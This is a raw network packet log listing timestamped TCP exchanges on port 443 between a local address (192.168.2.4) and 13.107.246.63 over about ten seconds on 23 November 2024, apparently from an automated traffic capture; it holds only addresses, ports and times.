Nov 23, 2024 17:45:53.695993900 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.699620008 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.699636936 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.743804932 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.743849039 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:53.743916035 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.744415045 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:53.744434118 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.045695066 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.046317101 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.046327114 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.046749115 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.046752930 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.082938910 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.085984945 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.086070061 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.086070061 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.086127043 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.086199999 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.086224079 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.086236954 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.086245060 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.089245081 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.089307070 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.089397907 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.089576006 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.089608908 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.650001049 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.650064945 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.650141954 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.650428057 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.650444031 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.650460958 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.650465965 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.653707027 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.653760910 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:54.653842926 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.654072046 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:54.654095888 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.268403053 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.268882990 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.268930912 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.269330978 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.269349098 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.429335117 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.430037022 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.430078983 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.430481911 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.430493116 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.567239046 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.572707891 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.572731972 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.573225975 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.573232889 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.702399969 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.705509901 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.705581903 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.705643892 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.705643892 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.705694914 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.705722094 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.708203077 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.708256960 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.708352089 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.708499908 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.708507061 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.883569956 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.885668993 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.885745049 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.885811090 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.885828972 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.885843039 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.885849953 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.888447046 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.888493061 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:55.888569117 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.888710022 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:55.888720036 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.017297029 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.017946959 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.018033981 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.018460035 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.018474102 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.020622015 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.020653963 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.020699024 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.020703077 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.020747900 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.020900011 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.020925045 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.020940065 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.020947933 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.023298979 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.023348093 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.023423910 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.023546934 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.023564100 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.474155903 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.477421045 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.477479935 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.477516890 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.477533102 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.477545977 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.477551937 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.480160952 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.480209112 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.480282068 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.480407000 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.480422974 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.542256117 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.542680979 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.542714119 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:56.543087006 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:56.543093920 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.038606882 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.038686991 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.038743973 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.038938046 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.038965940 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.038991928 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.039000034 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.041455030 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.041505098 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.041578054 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.041712046 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.041728020 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.657629013 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.658226967 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.658266068 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.658847094 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.658854008 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.834026098 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.834749937 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.834778070 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.835257053 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.835263968 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.840312958 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.840590954 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.840620995 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:57.841037989 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:57.841043949 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.132287979 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.136866093 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.136929035 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.136979103 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.136980057 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.137002945 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.137017012 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.140002966 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.140028000 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.140108109 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.140269041 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.140280008 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.344840050 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.344908953 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.344965935 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.345189095 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.345210075 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.345223904 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.345231056 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.348551989 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.348603964 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.348701954 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.348872900 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.348887920 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.362698078 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.362729073 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.362803936 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.362842083 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.363012075 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.363111019 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.363136053 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.363173008 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.363181114 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.365969896 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.366025925 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.366100073 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.366264105 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.366274118 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.404521942 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.405109882 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.405147076 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.405752897 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.405808926 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.867436886 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.867543936 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.867664099 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.867723942 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.867791891 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.867901087 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.867943048 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.867973089 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.867989063 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.870865107 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.870902061 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.870975018 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.871113062 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.871129036 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.916171074 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.916718006 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.916763067 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:58.917061090 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:58.917067051 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.358834028 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.361967087 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.362056971 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.362134933 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.362134933 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.362176895 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.362221003 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.365293026 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.365345001 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.365438938 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.365603924 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.365619898 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.941018105 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.941481113 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.941500902 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:59.941936016 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:59.941941023 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.169775009 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.170583963 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.170634985 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.171055079 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.171068907 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.240936995 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.241372108 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.241384029 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.241895914 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.241900921 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.392039061 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.395042896 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.395148993 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.395176888 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.395226002 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.395390034 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.395401001 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.401483059 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.401510000 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.401607990 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.401752949 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.401762962 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.613122940 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.616991043 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.617063999 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.617178917 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.617178917 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.617225885 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.617253065 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.619921923 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.619956017 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.620023012 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.620167971 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.620182991 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.675853968 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.676352978 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.676366091 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.676814079 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.676820040 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.696934938 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.696962118 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.697002888 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.697011948 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.697050095 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.697323084 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.697330952 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.697341919 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.697345972 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.700294018 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.700337887 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:00.700429916 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.700540066 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:00.700556993 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.120480061 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.120651007 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.120706081 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.120767117 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.120785952 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.120796919 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.120801926 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.123610020 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.123657942 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.123717070 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.123871088 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.123887062 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.177530050 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.178039074 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.178066969 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.178653002 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.178659916 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.630536079 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.633678913 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.633739948 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.633754015 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.633812904 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.633862972 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.633883953 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.633897066 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.633905888 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.633910894 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.637061119 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.637120008 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:01.637191057 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.637449980 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:01.637469053 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.184739113 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.187891960 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.187906981 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.188478947 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.188482046 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.490806103 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.498737097 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.548952103 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.549143076 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.629954100 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.633042097 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.633253098 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.714706898 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.714730978 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.715226889 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.715234041 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.715799093 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.715851068 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.716190100 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.716202974 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.716639996 CET	49890	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.716664076 CET	443	49890	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.722048044 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.722086906 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.722146034 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.722392082 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.722413063 CET	443	49895	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.919219017 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.919682026 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.919707060 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:02.920114994 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:02.920120001 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.042776108 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.046042919 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:03.046108007 CET	49892	443	192.168.2.4	13.107.246.63
